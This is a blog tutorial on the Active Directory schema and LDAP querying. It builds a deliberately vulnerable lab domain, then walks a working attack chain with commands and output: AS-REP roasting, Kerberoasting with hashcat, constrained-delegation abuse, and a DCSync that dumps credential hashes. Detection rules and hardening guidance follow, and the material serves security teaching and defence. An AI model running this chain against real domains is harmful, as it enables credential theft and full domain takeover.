LDAP and the Active Directory Schema: How the Directory Stores Everything You Will Attack

By Debraj Basak·Jun 24, 2026·21 min readActive Directory Exploitation

Objective: Understand how Active Directory physically stores its data – the schema engine, the naming model, the four naming contexts, and the exact attributes that power Kerberoasting, AS-REP roasting, delegation abuse, and ACL attack paths – so you can write precise LDAP queries from both sides of the fight and know exactly why BloodHound and PowerView return what they return.

Every Active Directory attack you will ever run resolves to one question: which attribute on which object holds the misconfiguration? Kerberoasting is servicePrincipalName. AS-REP roasting is a bit in userAccountControl. Delegation is msDS-AllowedToDelegateTo. ACL paths are nTSecurityDescriptor. Learn where the directory keeps these and how to ask for them, and the rest of the kill chain is mechanics. Skip it, and you are copy-pasting commands you cannot adapt when the lab fights back.

This is a long one. We build a deliberately broken corp.local domain, enumerate it the way an attacker actually does (recon before exploitation, every time), then walk a full chain from an unauthenticated TCP connection to DCSync. Then we flip and catch ourselves with Event 1644, 4662, and a Sigma rule that fires on what the domain controller really logs, not the OID string you typed.


1. Why the Schema Is the Attacker’s Blueprint

The schema is the set of definitions for every object that can exist in the directory, plus the rules that govern their structure and content. It is built from three things: classes, attributes, and syntaxes. Two rules make the whole machine self-describing:

  • Every class in AD is itself an instance of the classSchema class.
  • Every attribute is an instance of the attributeSchema class.

So the schema describes itself in its own language. An administrator can extend it by adding new classes and attributes (Exchange and AD CS both do this heavily). A schema object can never be deleted, only made defunct by setting isDefunct to TRUE.

Why does an attacker care? Because the schema is the canonical list of what is queryable. When you see msDS-AllowedToActOnBehalfOfOtherIdentity in a tutorial, the schema is where that attribute is defined, where its access control GUID lives, and whether it replicates to the Global Catalog. Knowing the schema is knowing the menu. The exploitation chapters that follow are just ordering off it.


2. The Active Directory Naming Model

AD stores everything in the Directory Information Tree (DIT), a hierarchical namespace. Each entry is addressed by a Distinguished Name (DN) that traces the full path from the entry up to the root, written as attribute-value pairs separated by commas, most specific on the left:

CN=Jane Doe,OU=Sales,DC=corp,DC=local

The leftmost component (CN=Jane Doe) is the Relative Distinguished Name (RDN), unique within its parent container. Each component reading right to left moves you one level deeper: DC=local then DC=corp (the domain root), then the Sales organizational unit, then the user.

The forest is partitioned into Naming Contexts (NCs), also called partitions. Each NC is a separate replication and search boundary with its own base DN.

NCDefault Base DN (corp.local)Attack relevance
Domain NCDC=corp,DC=localUsers, groups, computers, GPOs, most enumeration targets
Configuration NCCN=Configuration,DC=corp,DC=localSites, services, AD CS PKI objects (ESC abuse)
Schema NCCN=Schema,CN=Configuration,DC=corp,DC=localAll classSchema / attributeSchema definitions
DNS ZonesDC=DomainDNSZones,DC=corp,DC=localDNS records, the target for ADIDNS poisoning

When you set -b "DC=corp,DC=local" in ldapsearch, you are telling the DC which partition to search and where in the tree to start. Point the base at the wrong NC and your filter matches nothing. Most user/group/computer enumeration lives in the Domain NC. PKI and delegation-config recon lives in the Configuration NC. Schema introspection lives in the Schema NC.


Hierarchy diagram showing the four Active Directory naming contexts branching from the forest root, with attack relevance labels on each partition
The four naming contexts are separate search boundaries; pointing your base DN at the wrong partition returns nothing.

3. The Schema NC in Depth: classSchema and attributeSchema

Each object class is defined by a classSchema object inside the Schema container. These are the fields that matter to an operator.

lDAPDisplayNamePurpose
ldapDisplayNameHow LDAP clients reference the class in search filters
schemaIDGUIDGUID used in security descriptors / ACEs to control access to the class
governsIDOID uniquely identifying the class, unique across all classes and attributes
subClassOfParent class in the single-inheritance chain
mustContain / systemMustContainMandatory attributes for instances of the class
mayContain / systemMayContainOptional attributes
possSuperiorsWhich container classes may hold this object
auxiliaryClass / systemAuxiliaryClassAuxiliary classes mixed in
isDefunctMarks the class inactive

Every class except top derives from a parent. A user object is not one class but a chain plus an auxiliary:

top -> person -> organizationalPerson -> user   (+ auxiliary: securityPrincipal)

That inheritance is why a user carries objectSid and sAMAccountName: the securityPrincipal auxiliary class contributes the security-principal attributes, while person and organizationalPerson contribute things like cn and displayName. Dump it live from the Schema NC:

Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext `
  -LDAPFilter "(lDAPDisplayName=user)" `
  -Properties governsID, subClassOf, auxiliaryClass, mayContain, schemaIDGUID
governsID     : 1.2.840.113556.1.5.9
subClassOf    : organizationalPerson
auxiliaryClass: {securityPrincipal, mailRecipient}
mayContain    : {msDS-AllowedToDelegateTo, servicePrincipalName, userAccountControl,
                 scriptPath, homeDirectory, ...}
schemaIDGUID  : {134, 122, 150, 191, 232, 7, 208, 17, 161, 133, 0, 170, 0, 56, 73, 224}
DistinguishedName : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=local

Attributes are defined by attributeSchema objects. These fields decide how an attribute behaves and how you can target it.

lDAPDisplayNamePurpose
attributeIDOID uniquely identifying the attribute
ldapDisplayNameName used in filters and PowerShell
attributeSyntax / oMSyntaxData type (string, integer, octet-string)
isSingleValuedSingle vs multi-valued
searchFlagsBitmask: indexing, ANR, confidentiality, Filtered Attribute Set
schemaIDGUIDGUID for ACE-level attribute access control
isMemberOfPartialAttributeSetWhether it replicates to the Global Catalog
systemOnlyWritable only by the directory service itself
isDefunctMarks the attribute inactive

searchFlags is the one that bites both teams. It is a bitmask controlling indexing, Ambiguous Name Resolution (ANR), the Filtered Attribute Set (attributes never replicated to a Read-Only DC), and confidentiality. The confidentiality bit is bit 7 (decimal 128). An attribute marked confidential requires an explicit CONTROL_ACCESS (read property) right beyond normal read. Microsoft ships the bitwise-AND matching rule OID 1.2.840.113556.1.4.803, so you can find every confidential attribute in the forest with one filter:

ldapsearch -x -H ldap://192.168.56.10 -D "helpdesk@corp.local" -w 'Password1!' \
  -b "CN=Schema,CN=Configuration,DC=corp,DC=local" \
  "(&(objectClass=attributeSchema)(searchFlags:1.2.840.113556.1.4.803:=128))" \
  lDAPDisplayName
dn: CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=corp,DC=local
lDAPDisplayName: ms-Mcs-AdmPwd

dn: CN=ms-Mcs-AdmPwdExpirationTime,...
lDAPDisplayName: ms-Mcs-AdmPwdExpirationTime

If LAPS is deployed correctly, ms-Mcs-AdmPwd shows up here. If it does not, the LAPS password may be readable by accounts that should not see it. That single query is a defensive audit and an attacker shopping list at the same time.


4. RootDSE: The Unauthenticated Recon Entry Point

The RootDSE is defined in RFC 2251 (LDAPv3). It is not part of the AD namespace; it is a synthetic object each domain controller maintains separately, and crucially it answers without authentication. It is the directory’s info card. Bind anonymously, ask for the base object, and the DC tells you who it is.

ldapsearch -x -H ldap://192.168.56.10 -s base -b "" "(objectClass=*)" \
  defaultNamingContext configurationNamingContext schemaNamingContext \
  rootDomainNamingContext dnsHostName supportedLDAPVersion supportedSASLMechanisms
# extended LDIF
# base <> with scope baseObject
# filter: (objectClass=*)
#
dn:
defaultNamingContext: DC=corp,DC=local
configurationNamingContext: CN=Configuration,DC=corp,DC=local
schemaNamingContext: CN=Schema,CN=Configuration,DC=corp,DC=local
rootDomainNamingContext: DC=corp,DC=local
dnsHostName: DC01.corp.local
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5

From one anonymous query you now have the domain DN to use as a base, the DC hostname, and the SASL mechanisms on offer. The same data, from a Windows host with no special privilege:

Get-ADRootDSE | Select-Object defaultNamingContext, schemaNamingContext,
  configurationNamingContext, dnsHostName, supportedLDAPVersion
defaultNamingContext       : DC=corp,DC=local
schemaNamingContext        : CN=Schema,CN=Configuration,DC=corp,DC=local
configurationNamingContext : CN=Configuration,DC=corp,DC=local
dnsHostName                : DC01.corp.local
supportedLDAPVersion       : {3, 2}

Treat RootDSE as the first thing you read against any DC and the first thing you should expect to see hit anonymously in your own logs.


5. LDAP Filter Syntax for Attackers and Defenders

An LDAP query has four parts: the base DN (where to start), the scope, the filter, and the attribute list. Scopes:

ScopeMeaning
baseThe base object only (how you read RootDSE)
oneOne level directly below the base
subThe entire subtree below the base (default for enumeration)

Filters follow RFC 4515 prefix notation: (attribute=value), combined with & (AND), | (OR), ! (NOT). The wildcard * matches presence or substrings: (servicePrincipalName=*) means “has any SPN.”

The pieces that separate a script kiddie from an operator are the bitwise matching rule OIDs. userAccountControl is a single integer holding many flags. To test one bit you cannot use =; you use a matching rule.

OIDSemanticsHow the DC logs it in Event 1644
1.2.840.113556.1.4.803Bitwise ANDuserAccountControl&524288
1.2.840.113556.1.4.804Bitwise ORuserAccountControl\|...
1.2.840.113556.1.4.1941LDAP_MATCHING_RULE_IN_CHAIN (recursive group membership):1.2.840.113556.1.4.1941:=

Here is the detail that breaks most home-rolled detections. When Impacket or PowerView sends:

(userAccountControl:1.2.840.113556.1.4.803:=16777216)

the domain controller does not record the OID. It rewrites the query and logs it in Event 1644 as:

(userAccountControl&16777216)

The OID 1.2.840.113556.1.4.803 is replaced by the & operator. So a Sigma rule that greps for the OID string will never fire, because the OID never appears in the log. You must detect on userAccountControl&16777216, not on the matching-rule OID. We come back to this hard in section 10.

AD also caps results at 1,000 entries per query by default. Bigger result sets require paged searches (ldapsearch -E pr=1000/noprompt, or the .NET paging that PowerView and SharpHound do automatically).


6. Critical Attack Attributes Decoded

AD extends standard LDAP with Microsoft attributes (userAccountControl, sAMAccountName, msDS-PrincipalName, and many more) that the base LDAP spec never had. These are the ones you live and die by.

AttributeClassAttack use
userAccountControluser, computerBitmask of account state and delegation flags
sAMAccountNameuser, computerPre-2000 logon name, used in Kerberos ticket requests
servicePrincipalNameuser, computerPresent on a user means Kerberoastable
msDS-AllowedToDelegateTouser, computerConstrained delegation target SPNs
msDS-AllowedToActOnBehalfOfOtherIdentityuser, computerResource-Based Constrained Delegation (RBCD)
nTSecurityDescriptorAllRaw DACL/SACL, read it to map ACL attack paths
member / memberOfgroup / userGroup membership chains
adminCountuser, group1 means it was under SDProp, a fast privileged-account finder
pwdLastSetuser0 means must change at next logon
objectSidsecurity principalsSID for ACE comparison and SID-history abuse
ms-Mcs-AdmPwdcomputerLegacy LAPS plaintext password
msLAPS-PasswordcomputerWindows LAPS (2023+) encrypted password

userAccountControl deserves its own table. Every flag below maps to a real attack decision.

HexDecimalFlagAttack note
0x00022ACCOUNTDISABLESkip these, no tickets
0x002032PASSWD_NOTREQDPassword spray target
0x0200512NORMAL_ACCOUNTStandard enabled user
0x80000524288TRUSTED_FOR_DELEGATIONUnconstrained delegation
0x100000016777216TRUSTED_TO_AUTHENTICATE_FOR_DELEGATIONS4U2Self / S4U2Proxy (protocol transition)
0x4000004194304DONT_REQ_PREAUTHAS-REP roasting

One gotcha worth an hour of confusion: LOCKOUT and PASSWORD_EXPIRED are not stored in the persisted userAccountControl. On 2003+ domains they live in the constructed attribute msDS-User-Account-Control-Computed, which the DC calculates on read. If you filter on userAccountControl for lockout state you will get nothing.

Why these matter at the protocol level:

  • servicePrincipalName ties a service to an account. When a client wants Kerberos access to that service, it asks the DC for a service ticket (TGS-REP) encrypted with the service account’s password-derived key. Because any authenticated user can request that ticket, and the key is just the account’s NT hash, a user with a weak password becomes an offline-crackable hash. That is Kerberoasting.
  • DONT_REQ_PREAUTH disables Kerberos pre-authentication. Normally the AS-REQ proves you know the password before the KDC replies. Without pre-auth, anyone can ask for an AS-REP for that account and receive a blob encrypted with the account’s key, crackable offline. That is AS-REP roasting.
  • msDS-AllowedToDelegateTo plus the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is constrained delegation with protocol transition. The service can use S4U2Self to mint a ticket to itself as any user, then S4U2Proxy to forward that to the listed target SPNs. If the target is a DC service, you can impersonate a Domain Admin to the DC.
  • nTSecurityDescriptor holds the DACL. Each ACE grants a trustee SID a right (GenericAll, GenericWrite, WriteDacl, etc.) over the object. Reading these is how you map “helpdesk can write svc_web,” which BloodHound renders as an edge.

7. Building the Vulnerable Lab

Stand up a Windows Server 2022 Evaluation VM, give it 192.168.56.10, and promote it. Run everything below in an elevated PowerShell on the DC.

Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "corp.local" -DomainNetbiosName "CORP" -InstallDns `
  -SafeModeAdministratorPassword (ConvertTo-SecureString "LabDSRM!2024" -AsPlainText -Force) -Force

After reboot, provision the broken accounts:

# Kerberoastable service account + constrained delegation to the DC
New-ADUser -Name "svc_web" -SamAccountName "svc_web" -UserPrincipalName "svc_web@corp.local" `
  -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) `
  -Enabled $true -PasswordNeverExpires $true
setspn -S HTTP/webserver.corp.local svc_web
Set-ADUser -Identity svc_web -Add @{'msDS-AllowedToDelegateTo'='cifs/DC01.corp.local'}
Set-ADAccountControl -Identity svc_web -TrustedToAuthForDelegation $true

# AS-REP roastable account (Kerberos pre-auth disabled)
New-ADUser -Name "svc_nopreauth" -SamAccountName "svc_nopreauth" `
  -UserPrincipalName "svc_nopreauth@corp.local" `
  -AccountPassword (ConvertTo-SecureString "Password123" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl -Identity svc_nopreauth -DoesNotRequirePreAuth $true

# Low-priv foothold with GenericWrite over svc_web (the ACL edge)
New-ADUser -Name "helpdesk" -SamAccountName "helpdesk" `
  -UserPrincipalName "helpdesk@corp.local" `
  -AccountPassword (ConvertTo-SecureString "Password1!" -AsPlainText -Force) -Enabled $true
dsacls "CN=svc_web,CN=Users,DC=corp,DC=local" /G "CORP\helpdesk:GW"

You now have the classic chain in miniature: helpdesk (GenericWrite) -> svc_web (SPN + constrained delegation) -> DC01 -> Domain Admin. Recon will rebuild that map from the outside.


8. Hands-On Lab: Structured LDAP Enumeration

Enumeration first, exploitation second, every step. We are mapping the directory before touching Kerberos.

Step 1: Authenticated User Enumeration (T1087.002)

ldapsearch -x -H ldap://192.168.56.10 -D "helpdesk@corp.local" -w 'Password1!' \
  -b "DC=corp,DC=local" "(objectClass=user)" \
  sAMAccountName userAccountControl adminCount memberOf
dn: CN=Administrator,CN=Users,DC=corp,DC=local
sAMAccountName: Administrator
userAccountControl: 512
adminCount: 1
memberOf: CN=Domain Admins,CN=Users,DC=corp,DC=local

dn: CN=svc_web,CN=Users,DC=corp,DC=local
sAMAccountName: svc_web
userAccountControl: 16778240

dn: CN=svc_nopreauth,CN=Users,DC=corp,DC=local
sAMAccountName: svc_nopreauth
userAccountControl: 4194816

dn: CN=helpdesk,CN=Users,DC=corp,DC=local
sAMAccountName: helpdesk
userAccountControl: 512

Read the userAccountControl values. svc_web is 16778240 = 512 + 16777216 + 512… decode it: 0x1000200 = 0x1000000 (TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION) + 0x200 (NORMAL_ACCOUNT). svc_nopreauth is 4194816 = 0x400200 = 0x400000 (DONT_REQ_PREAUTH) + 0x200. The bitmask just handed you two attack candidates. The PowerView equivalent on a domain host:

Get-DomainUser -Properties sAMAccountName,userAccountControl,adminCount
samaccountname    : svc_nopreauth
useraccountcontrol : NORMAL_ACCOUNT, DONT_REQ_PREAUTH

samaccountname    : svc_web
useraccountcontrol : NORMAL_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION

PowerView decodes the flags for you. Same data, friendlier output.

Step 2: AS-REP Roast Candidate Discovery (T1558.004)

Find accounts with DONT_REQ_PREAUTH using the bitwise-AND rule for 0x400000:

ldapsearch -x -H ldap://192.168.56.10 -D "helpdesk@corp.local" -w 'Password1!' \
  -b "DC=corp,DC=local" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName
dn: CN=svc_nopreauth,CN=Users,DC=corp,DC=local
sAMAccountName: svc_nopreauth

The enumeration found the opportunity. Now exploit it. Because pre-auth is off, the KDC will hand out an AS-REP encrypted with the account’s key to anyone who asks:

GetNPUsers.py corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt -dc-ip 192.168.56.10
[*] Getting TGT for svc_nopreauth
$krb5asrep$23$svc_nopreauth@CORP.LOCAL:a8f9c1e7b3...$4d2c9f...e1a0
hashcat -m 18200 asrep.txt rockyou.txt
$krb5asrep$23$svc_nopreauth@CORP.LOCAL:a8f9...:Password123
Session..........: hashcat
Status...........: Cracked

Step 3: Kerberoastable SPN Discovery (T1558.003)

Find enabled user accounts that carry an SPN. The !...:=2 excludes disabled accounts (ACCOUNTDISABLE):

ldapsearch -x -H ldap://192.168.56.10 -D "helpdesk@corp.local" -w 'Password1!' \
  -b "DC=corp,DC=local" \
  "(&(objectClass=user)(servicePrincipalName=*)(!userAccountControl:1.2.840.113556.1.4.803:=2))" \
  sAMAccountName servicePrincipalName
dn: CN=svc_web,CN=Users,DC=corp,DC=local
sAMAccountName: svc_web
servicePrincipalName: HTTP/webserver.corp.local

That SPN is the green light. Request the TGS-REP, which is encrypted with svc_web‘s NT hash:

GetUserSPNs.py corp.local/helpdesk:'Password1!' -dc-ip 192.168.56.10 -request -outputfile kerb.txt
ServicePrincipalName        Name     MemberOf  PasswordLastSet
--------------------------  -------  --------  --------------------------
HTTP/webserver.corp.local   svc_web            2024-03-11 09:14:22

[*] Saved TGS hashes to kerb.txt
$krb5tgs$23$*svc_web$CORP.LOCAL$HTTP/webserver.corp.local*$9b2f...$f1e7...c4
hashcat -m 13100 kerb.txt rockyou.txt
$krb5tgs$23$*svc_web$CORP.LOCAL$...:Summer2024!
Status...........: Cracked

Step 4: Delegation Enumeration

Constrained delegation lives in msDS-AllowedToDelegateTo. Find it directly:

ldapsearch -x -H ldap://192.168.56.10 -D "helpdesk@corp.local" -w 'Password1!' \
  -b "DC=corp,DC=local" "(msDS-AllowedToDelegateTo=*)" \
  sAMAccountName msDS-AllowedToDelegateTo
dn: CN=svc_web,CN=Users,DC=corp,DC=local
sAMAccountName: svc_web
msDS-AllowedToDelegateTo: cifs/DC01.corp.local

For unconstrained delegation you would filter on the TRUSTED_FOR_DELEGATION bit (524288): (userAccountControl:1.2.840.113556.1.4.803:=524288). Our lab uses constrained delegation, and the cracked svc_web is exactly the account that holds it. The map is now complete: svc_web can delegate to cifs/DC01.corp.local and has the protocol-transition bit set, which means it can impersonate any user to that service.

Step 5: ACL Enumeration (T1222.001)

The DACL lives in nTSecurityDescriptor. PowerView resolves the ACEs into rights and trustees:

Get-DomainObjectAcl -Identity svc_web -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll" }
ObjectDN              : CN=svc_web,CN=Users,DC=corp,DC=local
ActiveDirectoryRights : GenericWrite
ObjectAceType         : All
SecurityIdentifier    : S-1-5-21-1004336348-1177238915-682003330-1115
IdentityName          : CORP\helpdesk

There is the ACL edge: helpdesk has GenericWrite over svc_web. With GenericWrite on a user you can write servicePrincipalName (targeted Kerberoasting if it had none) or write msDS-KeyCredentialLink (shadow credentials). In our chain svc_web already had a crackable SPN, so the GenericWrite is the BloodHound-visible link that explains why a low-priv helpdesk account reaches a delegation-capable service.

BloodHound reads nTSecurityDescriptor efficiently using the SD Flags control, OID 1.2.840.113556.1.4.801, asking the DC to return only the DACL portion instead of the full security descriptor. That keeps collection fast and avoids needing SeSecurityPrivilege to read the SACL.


Flow diagram tracing the full attack chain from helpdesk LDAP enumeration through Kerberoasting and constrained delegation abuse to DCSync domain compromise
Every step in the kill chain resolves to a specific LDAP attribute discovered before the first exploit was fired.

9. What BloodHound Is Actually Querying

SharpHound is not magic. It is a structured pile of LDAP queries against the schema attributes you just learned. Run it:

SharpHound.exe --CollectionMethods All --Domain corp.local --ZipFileName lab.zip
2024-03-11T10:02:14 INFO Resolved current domain to corp.local
2024-03-11T10:02:15 INFO Beginning LDAP search for corp.local
2024-03-11T10:02:31 INFO Status: 412 objects finished (+412)  Avg: 412/s
2024-03-11T10:02:33 INFO Enumeration finished, saved to lab.zip

Under the hood each edge maps to attributes:

BloodHound edgeLDAP attribute(s) read
GenericWrite, GenericAll, WriteDaclnTSecurityDescriptor (via SD Flags control)
MemberOfmember / memberOf
AllowedToDelegatemsDS-AllowedToDelegateTo
AllowedToAct (RBCD)msDS-AllowedToActOnBehalfOfOtherIdentity
HasSPN (Kerberoastable)servicePrincipalName
DontReqPreAuthuserAccountControl bit 4194304

Import lab.zip into BloodHound CE and run the shortest path:

MATCH p=shortestPath((n {name:"HELPDESK@CORP.LOCAL"})-[*1..]->(m {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p
HELPDESK@CORP.LOCAL --GenericWrite--> SVC_WEB@CORP.LOCAL
SVC_WEB@CORP.LOCAL  --AllowedToDelegate--> DC01.CORP.LOCAL
DC01.CORP.LOCAL     --member of--> DOMAIN CONTROLLERS / DCSync rights

The graph just drew the exact path we found by hand. Now finish it.

The Full Proof-of-Concept Chain

We already cracked svc_web to Summer2024!. It holds constrained delegation to cifs/DC01.corp.local with protocol transition. Use S4U to impersonate Administrator, and use the alternate-service trick to rewrite the ticket’s service from cifs to ldap so we can DCSync:

getST.py -spn cifs/DC01.corp.local -altservice ldap/DC01.corp.local \
  -impersonate Administrator corp.local/svc_web:'Summer2024!' -dc-ip 192.168.56.10
[*] Getting TGT for user
[*] Impersonating Administrator
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Changing service from cifs/DC01.corp.local to ldap/DC01.corp.local
[*] Saving ticket in Administrator@ldap_DC01.corp.local@CORP.LOCAL.ccache
export KRB5CCNAME=Administrator@ldap_DC01.corp.local@CORP.LOCAL.ccache
secretsdump.py -k -no-pass -dc-ip 192.168.56.10 corp.local/Administrator@DC01.corp.local
[*] Using the DRSUAPI method to get NTDS.DIT secrets
corp.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7f1e4ff8c6a8e6b2d9f0...
corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3a1bc9d7e5f02468ac13579b...
corp.local\svc_web:1115:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd8...
[*] Cleaning up...

Game over. The krbtgt hash means Golden Tickets; the Administrator hash means full domain compromise. Every step traced back to a schema attribute we enumerated before we attacked.


10. Detection: Seeing Your Own Queries from the Blue Side

Flip sides. Every query above is observable if you collect the right logs. Two truths shape the strategy. First, the OID-to-& rewrite from section 5 means detections must match what the DC logs, never the OID. Second, PowerShell ActiveDirectory module enumeration goes through ADWS on TCP 9389, and those LDAP queries run inside the DC against localhost – they never cross the wire, so network LDAP sensors miss them entirely.

Event IDLogTrigger
1644Directory ServiceExpensive/inefficient LDAP search, or Field Engineering = 5. Not on by default
4662SecurityObject access, requires a SACL on the target object
4768 / 4769 / 4771SecurityKerberos AS / TGS requests and failures (roasting)
Sysmon 3Sysmon/OperationalNetwork connection, catches TCP 9389 ADWS sessions

Turn on full 1644 capture by setting the Field Engineering diagnostic level, then reset it when done:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\Field Engineering = 5

A captured AS-REP-roast scan lands in Event 1644 like this, note the rewritten operator:

Event ID: 1644
Source: NTDS General
Starting node: DC=corp,DC=local
Filter: (&(objectClass=user)(userAccountControl&4194304))
Search scope: subtree
User: CORP\helpdesk

4194304 is DONT_REQ_PREAUTH. There is no 1.2.840.113556.1.4.803 anywhere in that log line. Build your Sigma rule on the literal & form:

title: Active Directory Reconnaissance via Suspicious LDAP Filters
id: a3f1b6c2-9d44-4e21-b7aa-1f2e3c4d5e6f
status: experimental
logsource:
  product: windows
  service: ldap   # maps to Directory Service / Event 1644
detection:
  selection:
    SearchFilter|contains:
      - 'userAccountControl&524288'      # unconstrained delegation
      - 'userAccountControl&4194304'     # DONT_REQ_PREAUTH (AS-REP roast)
      - 'userAccountControl&16777216'    # protocol transition (S4U)
      - 'msDS-AllowedToDelegateTo=*'     # constrained delegation enum
      - 'servicePrincipalName=*'         # Kerberoast SPN enum
      - 'adminCount=1'                   # privileged account hunt
  condition: selection
level: high
tags:
  - attack.t1087.002
  - attack.t1069.002
  - attack.t1482

The canonical SigmaHQ rule win_ldap_recon (ID 31d68132-4038-47c7-8f8e-635a39a7c174) tags t1069.002, t1087.002, and t1482 and follows exactly this principle.

For the ACL reads and DCSync, lean on Event 4662, which fires only when the target object carries a SACL. Put auditing on krbtgt, the Domain Admins group, and AdminSDHolder, and a DCSync shows up as 4662 with the replication extended-right GUIDs (1131f6aa-... and 1131f6ad-...). Correlate 4662 with 1644 for the full picture.

On member machines, where Field Engineering does not exist, use the ETW channel Microsoft-Windows-LDAP-Client. It is the most reliable way to catch SharpHound running from a workstation:

wevtutil set-log "Microsoft-Windows-LDAP-Client/Debug" /enabled:true /quiet:true /retention:false /maxsize:100032

Import the resulting .etl into Event Viewer and look for Event ID 30, the client-side LDAP search records.

For ADWS, watch Sysmon Event ID 3 for inbound TCP 9389, then correlate the User field in Event 1644 with the connecting account. Because ADWS proxies queries as localhost, and modern servers prefer IPv6, you will typically see source ::1 in the 1644 entries that ADWS generated. A single 1644 is noisy; correlating ADWS Events 1138 + 1644 + 1166 + 1167 + 1139 by Operation ID yields high-fidelity detection of PowerShell-driven enumeration.


Analyst detecting suspicious LDAP queries in Windows Event logs, with a highlighted filter line showing the rewritten bitwise operator
Event 1644 rewrites matching-rule OIDs to the literal & operator – detections must match the logged form, not the original query syntax.

11. Hardening the Attack Surface

MitigationDescription
Enforce LDAP signingDomain Controller: LDAP server signing requirements = Require signing via Group Policy Security Options
LDAP channel bindingKB4520412, blocks relay of LDAP sessions into LDAPS
Mark attributes confidentialSet searchFlags bit 7 (128) on ms-Mcs-AdmPwd and similar, forces a CONTROL_ACCESS right to read
SACL high-value objectsAudit Domain Admins, krbtgt, AdminSDHolder, generates Event 4662
Deploy Windows LAPSUse msLAPS-Password with AES encryption, restrict the read ACE to a LAPS readers group
Tier model / PAWsKeep DA credentials off Tier 1/2 hosts, kills lateral movement paths BloodHound finds
Honeypot / canary objectsPlant decoy OUs and accounts that alarm on read or access

Two of these directly defeat what we did. Marking confidential attributes raises the bar on schema-level secret reads. A real tiering model would have prevented helpdesk from ever holding a meaningful ACE over a delegation-capable service. And turning Field Engineering plus a SACL on the DC would have lit up every step of the chain.


Layered fortress illustration representing defense-in-depth mitigations: LDAP signing, confidential attributes, tiered access model, and SACL auditing
Hardening Active Directory requires layered controls – signing, confidentiality flags, strict ACLs, and audit SACLs that fire before an attacker reaches the innermost tier.

12. Tools for LDAP and Schema Analysis

ToolDescriptionLink
ldapsearchRaw LDAP queries, RootDSE recon, bitwise filtersopenldap.org
PowerViewPowerShell AD enumeration, ACL and delegation discoverygithub.com/PowerShellMafia
SharpHound / BloodHound CEGraph-based attack path collection and analysisbloodhoundenterprise.io
ImpacketGetNPUsers.py, GetUserSPNs.py, getST.py, secretsdump.pygithub.com/fortra/impacket
ADExplorerSysinternals live and offline LDAP browsersysinternals.com
Event1644Reader.ps1Parses Event 1644 into per-query performance and source datalearn.microsoft.com
HashcatOffline cracking of AS-REP (18200) and TGS (13100) hasheshashcat.net

MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Account Discovery: Domain AccountT1087.002Event 1644 user-object filters, adminCount=1
Permission Groups Discovery: Domain GroupsT1069.002member / memberOf enumeration, IN_CHAIN OID
Domain Trust DiscoveryT1482Trust object LDAP queries in Configuration NC
Remote System DiscoveryT1018(objectClass=computer) enumeration
Group Policy DiscoveryT1615Queries to CN=Policies,CN=System,...
KerberoastingT1558.003servicePrincipalName=* + Event 4769
AS-REP RoastingT1558.004userAccountControl&4194304 + Event 4768
File/Directory Permissions ModificationT1222.001nTSecurityDescriptor read/write, Event 4662

Summary

  • The schema is the attacker’s map: every privilege path you will ever abuse is a named attribute on a named class, and knowing the schema tells you exactly what to query.
  • AD partitions the forest into the Domain, Configuration, Schema, and DNS naming contexts; pointing your base DN at the right NC is the difference between zero results and the whole directory.
  • RootDSE answers without authentication and hands you the naming contexts and DC hostname for free, the first thing you read and the first thing you should expect to see in your logs.
  • Bitwise matching rule OIDs like 1.2.840.113556.1.4.803 decode userAccountControl into AS-REP, Kerberoast, and delegation candidates, but the DC rewrites them to & in Event 1644, so detections must match userAccountControl&4194304, not the OID.
  • Enumerate before you exploit: SPNs feed Kerberoasting, the no-preauth bit feeds AS-REP roasting, msDS-AllowedToDelegateTo feeds delegation abuse, and nTSecurityDescriptor feeds ACL paths, exactly what SharpHound reads to draw the graph.
  • Detect with Event 1644 (Field Engineering = 5), Event 4662 (SACLs on krbtgt and AdminSDHolder), the Microsoft-Windows-LDAP-Client ETW channel, and Sysmon Event 3 on TCP 9389 to catch ADWS-tunneled PowerShell enumeration that never touches the wire.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.